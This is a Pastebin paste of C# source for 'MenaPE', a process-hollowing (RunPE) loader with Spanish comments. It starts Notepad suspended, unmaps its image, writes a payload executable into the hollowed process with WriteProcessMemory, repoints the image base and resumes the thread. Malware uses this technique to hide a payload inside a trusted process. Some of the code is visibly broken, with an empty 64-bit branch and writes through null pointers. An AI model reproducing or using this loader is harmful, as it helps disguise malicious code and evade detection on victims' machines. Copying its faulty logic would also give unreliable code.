Advertisement
Guest User

Untitled

a guest
Jun 12th, 2017
158
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 16.87 KB | None | 0 0
  1. using System;
  2. using System.Collections;
  3. using System.Collections.Generic;
  4. using System.Data;
  5. using System.Diagnostics;
  6. using System.Runtime.InteropServices;
  7. using System.IO;
  8.  
  9.  
  10. namespace MenaPE
  11. {
  12. class Program
  13. {
  14. static void Main(string[] args)
  15. {
  16. const uint NORMAL_PRIORITY_CLASS = 0x0020;
  17.  
  18. string Application = Environment.GetEnvironmentVariable("windir") + @"\Notepad.exe";
  19. string CommandLine = @"C:\temp\test.txt";
  20. //PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
  21. //STARTUPINFO sInfo = new STARTUPINFO();
  22. //SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
  23. //SECURITY_ATTRIBUTES tSec = new SECURITY_ATTRIBUTES();
  24. //pSec.nLength = Marshal.SizeOf(pSec);
  25. //tSec.nLength = Marshal.SizeOf(tSec);
  26.  
  27.  
  28. byte[] payload = File.ReadAllBytes(@"C:\Users\Androide\Documents\SharpDevelop Projects\Console\Console\bin\Debug\Console.exe");
  29. MenaPE menaPE = new MenaPE();
  30. menaPE.Run(Application, CommandLine, payload, NORMAL_PRIORITY_CLASS);
  31. }
  32. }
  33.  
  34. public class MenaPE
  35. {
  36. /* funciones importadas */
  37. [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true, CallingConvention = CallingConvention.StdCall)]
  38. public static extern IntPtr LoadLibraryA(string Name);
  39.  
  40. [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true, CallingConvention = CallingConvention.StdCall)]
  41. public static extern IntPtr GetProcAddress(IntPtr hProcess, string Name);
  42.  
  43. private delegate bool ReadProcessMemoryParameters(IntPtr hProcess, IntPtr lpBaseAddress, ref uint lpBuffer, uint nSize, ref uint lpNumberOfBytesWritten);
  44. static readonly ReadProcessMemoryParameters ReadProcessMemory = CreateApi<ReadProcessMemoryParameters>("kernel32", "ReadProcessMemory");
  45.  
  46. private delegate bool WriteProcessMemoryParameters(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, ref uint lpNumberOfBytesWritten);
  47. static readonly WriteProcessMemoryParameters WriteProcessMemory = CreateApi<WriteProcessMemoryParameters>("kernel32", "WriteProcessMemory");
  48.  
  49. private delegate uint NtUnmapViewOfSectionParameters(IntPtr hProcess, IntPtr pBaseAddress);
  50. static readonly NtUnmapViewOfSectionParameters NtUnmapViewOfSection = CreateApi<NtUnmapViewOfSectionParameters>("ntdll", "NtUnmapViewOfSection");
  51.  
  52. private delegate IntPtr VirtualAllocExParameters(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
  53. static readonly VirtualAllocExParameters VirtualAllocEx = CreateApi<VirtualAllocExParameters>("kernel32", "VirtualAllocEx");
  54.  
  55. private delegate uint ResumeThreadParameters(IntPtr hThread);
  56. static readonly ResumeThreadParameters ResumeThread = CreateApi<ResumeThreadParameters>("kernel32", "ResumeThread");
  57.  
  58.  
  59. private static T CreateApi<T>(string Name, string Method)
  60. {
  61. return (T)(object)System.Runtime.InteropServices.Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(Name), Method), typeof(T));
  62. }
  63.  
  64. private delegate bool CreateProcessParameters(string ApplicationName, string CommandLine, IntPtr ProcessAttributes, IntPtr ThreadAttributes, bool InheritHandles, uint CreationFlags, IntPtr Environment, string CurrentDirectory, ref STARTUPINFO StartupInfo, ref PROCESS_INFORMATION ProcessInformation);
  65. CreateProcessParameters CreateProcess = CreateApi<CreateProcessParameters>("kernel32", "CreateProcessA");
  66.  
  67.  
  68. private delegate uint NtQueryInformationProcessParameters(IntPtr hProcess, int ProcessInformationClass, IntPtr ProcessInformationptr, uint ProcessInformationLength, IntPtr ReturnLength);
  69. readonly NtQueryInformationProcessParameters NtQueryInformationProcess = CreateApi<NtQueryInformationProcessParameters>("ntdll", "NtQueryInformationProcess");
  70.  
  71. private delegate bool IsWow64ProcessParameters(IntPtr hProcess, out bool Wow64Process);
  72. readonly IsWow64ProcessParameters IsWow64Process = CreateApi<IsWow64ProcessParameters>("kernel32", "IsWow64Process");
  73.  
  74. /*estructuras*/
  75. private struct PROCESS_INFORMATION
  76. {
  77. public IntPtr hProcess;
  78. public IntPtr hThread;
  79. public uint dwProcessId;
  80. public uint dwThreadId;
  81. }
  82.  
  83. private struct STARTUPINFO
  84. {
  85. public uint cb;
  86. public string lpReserved;
  87. public string lpDesktop;
  88. public string lpTitle;
  89. [System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.ByValArray, SizeConst = 36)]
  90. public byte[] Misc;
  91. public byte lpReserved2;
  92. public IntPtr hStdInput;
  93. public IntPtr hStdOutput;
  94. public IntPtr hStdError;
  95. }
  96.  
  97. public struct FLOATING_SAVE_AREA
  98. {
  99. public uint Control;
  100. public uint Status;
  101. public uint Tag;
  102. public uint ErrorO;
  103. public uint ErrorS;
  104. public uint DataO;
  105. public uint DataS;
  106. [System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.ByValArray, SizeConst = 80)]
  107. public byte[] RegisterArea;
  108. public uint State;
  109. }
  110.  
  111. public struct CONTEXT32
  112. {
  113. public uint ContextFlags;
  114. public uint Dr0;
  115. public uint Dr1;
  116. public uint Dr2;
  117. public uint Dr3;
  118. public uint Dr6;
  119. public uint Dr7;
  120. public FLOATING_SAVE_AREA FloatSave;
  121. public uint SegGs;
  122. public uint SegFs;
  123. public uint SegEs;
  124. public uint SegDs;
  125. public uint Edi;
  126. public uint Esi;
  127. public uint Ebx;
  128. public uint Edx;
  129. public uint Ecx;
  130. public uint Eax;
  131. public uint Ebp;
  132. public uint Eip;
  133. public uint SegCs;
  134. public uint EFlags;
  135. public uint Esp;
  136. public uint SegSs;
  137. [System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.ByValArray, SizeConst = 512)]
  138. public byte[] ExtendedRegisters;
  139. }
  140.  
  141. public struct PROCESS_BASIC_INFORMATION
  142. {
  143. public IntPtr ExitStatus;
  144. public IntPtr PebBaseAddress;
  145. public IntPtr AffinityMask;
  146. public IntPtr BasePriority;
  147. public IntPtr UniqueProcessID;
  148. public IntPtr InheritedFromUniqueProcessId;
  149. }
  150.  
  151. /* arranco mi programa*/
  152. public bool Run(string path, string QuotedPath, byte[] payload, uint creationflag)
  153. {
  154. for (int I = 1; I <= 5; I++)
  155. {
  156. if (HandleRun(path, QuotedPath, payload, creationflag))
  157. return true;
  158. }
  159. return false;
  160. }
  161.  
  162. /* la inyeccion en proceso */
  163. private bool HandleRun(string Path, string QuotedPath, byte[] payload, uint creationflag)
  164. {
  165. IntPtr nullPtr = IntPtr.Zero;
  166.  
  167. uint ReadWrite = 0;
  168.  
  169. STARTUPINFO SI = new STARTUPINFO();
  170. PROCESS_INFORMATION PI = new PROCESS_INFORMATION();
  171.  
  172. SI.cb = Convert.ToUInt32(System.Runtime.InteropServices.Marshal.SizeOf(typeof(STARTUPINFO)));
  173. //Parses the size of the structure to the structure, so it retrieves the right size of data
  174.  
  175. try
  176. {
  177. //COMMENT: Creating a target process in suspended state, which makes it patch ready and we also retrieves its process information and startup information.
  178. if (!CreateProcess(Path, QuotedPath, IntPtr.Zero, IntPtr.Zero, true, creationflag, IntPtr.Zero, Directory.GetCurrentDirectory(), ref SI, ref PI))
  179. throw new Exception();
  180.  
  181. //COMMENT: Defines some variables we need in the next process
  182. PROCESS_BASIC_INFORMATION ProccessInfo = new PROCESS_BASIC_INFORMATION();
  183. IntPtr ProccessInfoptr = Marshal.AllocCoTaskMem(Marshal.SizeOf(ProccessInfo));
  184.  
  185. IntPtr RetLength = IntPtr.Zero;
  186. CONTEXT32 Context;
  187. IntPtr PEBAddress32ptr = IntPtr.Zero;
  188. Int64? PEBAddress64 = null;
  189. bool TargetIs64 = false;
  190. bool IsWow64Proc = false;
  191.  
  192. IsWow64Process(PI.hProcess, out IsWow64Proc);
  193. //COMMENT: Retrieves Boolean to know if target process is a 32bit process running in 32bit system, or a 32bit process running under WOW64 in a 64bit system.
  194. //COMMENT: Checks the Boolean retrieved from before OR checks if our calling process is 32bit
  195. if (IsWow64Proc | IntPtr.Size == 4)
  196. {
  197. Context = new CONTEXT32();
  198. Context.ContextFlags = 0x1000002;
  199. //COMMENT: Parses the context flag CONTEXT_AMD64(&H00100000L) + CONTEXT_INTEGER(0x00000002L) to tell that we want a structure of a 32bit process running under WOW64, you can see all context flags in winnt.h header file.
  200. //COMMENT: Checks if our own process is 64bit and the target process is 32bit in wow64
  201. if (IsWow64Proc && IntPtr.Size == 8)
  202. {
  203.  
  204. }
  205. else
  206. {
  207.  
  208. uint query = NtQueryInformationProcess(PI.hProcess, 0, ProccessInfoptr, (uint)System.Runtime.InteropServices.Marshal.SizeOf(ProccessInfo), RetLength);
  209. //COMMENT: Retrieves a structure of information to retrieve the PEBAddress to later on know where we gonna use WriteProcessMemory to write our payload
  210. ProccessInfo = (PROCESS_BASIC_INFORMATION)Marshal.PtrToStructure(ProccessInfoptr, typeof(PROCESS_BASIC_INFORMATION));
  211. PEBAddress32ptr = ProccessInfo.PebBaseAddress;
  212. TargetIs64 = false;
  213. }
  214. //COMMENT: If our process is 64bit and the target process is 64bit we get here.
  215. }
  216. uint BaseAddress = 0;
  217. uint PEBAddress32 = 0;
  218. IntPtr PEBAddress64ptr = nullPtr;
  219.  
  220. if (TargetIs64 == true)
  221. {
  222.  
  223. Marshal.StructureToPtr(PEBAddress64 + 0x10, PEBAddress64ptr, true);
  224. ReadProcessMemory(PI.hProcess, PEBAddress64ptr, ref BaseAddress, 4, ref ReadWrite);
  225. //COMMENT: Reads the BaseAddress of a 64bit Process, which is where the exe data starts
  226. }
  227. else
  228. {
  229. Marshal.StructureToPtr(PEBAddress32 + 0x08, PEBAddress32ptr, true);
  230. ReadProcessMemory(PI.hProcess, PEBAddress32ptr , ref BaseAddress, 4, ref ReadWrite);
  231. //COMMENT: Reads the BaseAddress of a 32bit Process, which is where the exe data starts
  232. }
  233.  
  234. bool PayloadIs64 = false;
  235. int dwPEHeaderAddress = BitConverter.ToInt32(payload, 0x3c);
  236. //COMMENT: Gets the PEHeader start address
  237. int dwNetDirFlags = BitConverter.ToInt32(payload, dwPEHeaderAddress + 0x398);
  238. //COMMENT: Gets the .NET Header Flags value to determine if its a AnyCPU Compiled exe or not
  239. int wMachine = BitConverter.ToInt16(payload, dwPEHeaderAddress + 0x4);
  240. //COMMENT: Gets the reads the Machine value
  241.  
  242. if (wMachine == 8664)
  243. {
  244. PayloadIs64 = true;
  245. //Checks the Machine value to know if payload is 64bit or not"
  246. }
  247. else
  248. {
  249. PayloadIs64 = false;
  250. }
  251.  
  252. if (PayloadIs64 == false)
  253. {
  254. //To make sure we don't rewrite flags on a Payload which is already AnyCPU Compiled, it will only slow us down
  255. if (dwNetDirFlags == 0x3)
  256. {
  257. Buffer.SetByte(payload, dwPEHeaderAddress + 0x398, 0x1);
  258. //Replaces the .NET Header Flag on a 32bit compiled payload, to make it possible doing 32bit -> 64bit injection
  259. }
  260. }
  261.  
  262. int dwImageBase = 0;
  263. if (PayloadIs64 == true)
  264. {
  265. dwImageBase = BitConverter.ToInt32(payload, dwPEHeaderAddress + 0x30);
  266. //Reads the ImageBase value of a 64bit payload, it's kind of unnessecary as ImageBase should always be: &H400000, this is the virtual addressstart location for our exe in its own memory space
  267. }
  268. else
  269. {
  270. dwImageBase = BitConverter.ToInt32(payload, dwPEHeaderAddress + 0x34);
  271. //Reads the ImageBase value of a 32bit payload, it's kind of unnessecary as ImageBase should always be: &H400000, this is the virtual address start location for our exe in its own memory space
  272. }
  273.  
  274. //COMMENT: If the BaseAddress of our Exe is matching the ImageBase, it's because it's mapped and we have to unmap it
  275. if (dwImageBase == BaseAddress)
  276. {
  277. IntPtr BaseAddressptr = new IntPtr();
  278. Marshal.StructureToPtr(BaseAddress, BaseAddressptr, true);
  279. if (!(NtUnmapViewOfSection(PI.hProcess, BaseAddressptr) == 0))
  280. throw new Exception();
  281. //COMMENT: Unmapping it
  282. }
  283.  
  284. int dwSizeOfImage = BitConverter.ToInt32(payload, dwPEHeaderAddress + 0x50);
  285. IntPtr dwImageBaseptr = new IntPtr();
  286. Marshal.StructureToPtr(dwImageBase, dwImageBaseptr, true);
  287. IntPtr dwNewImageBase = VirtualAllocEx(PI.hProcess, dwImageBaseptr, (uint)dwSizeOfImage, 0x3000, 0x40);
  288. //COMMENT: Makes the process ready to write in by specifying how much space we need to do it and where we need it
  289.  
  290. if (dwNewImageBase == nullPtr)
  291. throw new Exception();
  292.  
  293. int dwSizeOfHeaders = BitConverter.ToInt32(payload, dwPEHeaderAddress + 0x54);
  294.  
  295. IntPtr payloadptr = Marshal.AllocHGlobal(payload.Length);
  296. Marshal.Copy(payload, 0, payloadptr, payload.Length);
  297. if (!WriteProcessMemory(PI.hProcess, dwNewImageBase, payloadptr, (uint)(dwSizeOfHeaders & 0x7FFF), ref ReadWrite))
  298. throw new Exception();
  299. //Writes the size of the payloads PE header to the target
  300.  
  301. //COMMENT: This is here where most of the magic happens. We write in all our sections data, which contains our resssources, code and the information to utilize the sections: VirtualAddress, SizeOfRawData and PointerToRawData
  302. short SizeOfOptionalHeader = BitConverter.ToInt16(payload, dwPEHeaderAddress + 0x14);
  303. int SectionOffset = dwPEHeaderAddress + (0x16 + SizeOfOptionalHeader + 0x2);
  304. short NumberOfSections = BitConverter.ToInt16(payload, dwPEHeaderAddress + 0x6);
  305. for (int I = 0; I <= NumberOfSections - 1; I++)
  306. {
  307. int VirtualAddress = BitConverter.ToInt32(payload, SectionOffset + 0xc);
  308. uint SizeOfRawData = BitConverter.ToUInt32(payload, SectionOffset + 0x10);
  309. int PointerToRawData = BitConverter.ToInt32(payload, SectionOffset + 0x14);
  310. if (!(SizeOfRawData == 0))
  311. {
  312. IntPtr SectionDataptr = Marshal.AllocHGlobal((int)SizeOfRawData);
  313. Marshal.Copy(payload, 0, SectionDataptr, (int)SizeOfRawData);
  314. if (!WriteProcessMemory(PI.hProcess, dwNewImageBase + VirtualAddress, SectionDataptr, SizeOfRawData, ref ReadWrite))
  315. throw new Exception();
  316. }
  317. SectionOffset += 0x28;
  318. }
  319.  
  320. //byte[] PointerData = BitConverter.GetBytes(dwNewImageBase);
  321. if (TargetIs64 == true)
  322. {
  323. if (!WriteProcessMemory(PI.hProcess, PEBAddress64ptr, dwNewImageBase, 4, ref ReadWrite))
  324. throw new Exception();
  325. //Writes the new etrypoint for 64bit target
  326. }
  327. else
  328. {
  329. if (!WriteProcessMemory(PI.hProcess, PEBAddress32ptr + 0x8, dwNewImageBase, 4, ref ReadWrite))
  330. throw new Exception();
  331. //Writes the new entrypoint for 32bit target
  332. }
  333. if (ResumeThread(PI.hThread) == 0xFFFFFFFF)
  334. throw new Exception();
  335. //Resumes the suspended target with all its new exciting data
  336. } catch (Exception ex)
  337. {
  338. Console.WriteLine("Error : {0}", ex.Message);
  339.  
  340. }
  341. return true;
  342. }
  343.  
  344. }
  345.  
  346. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement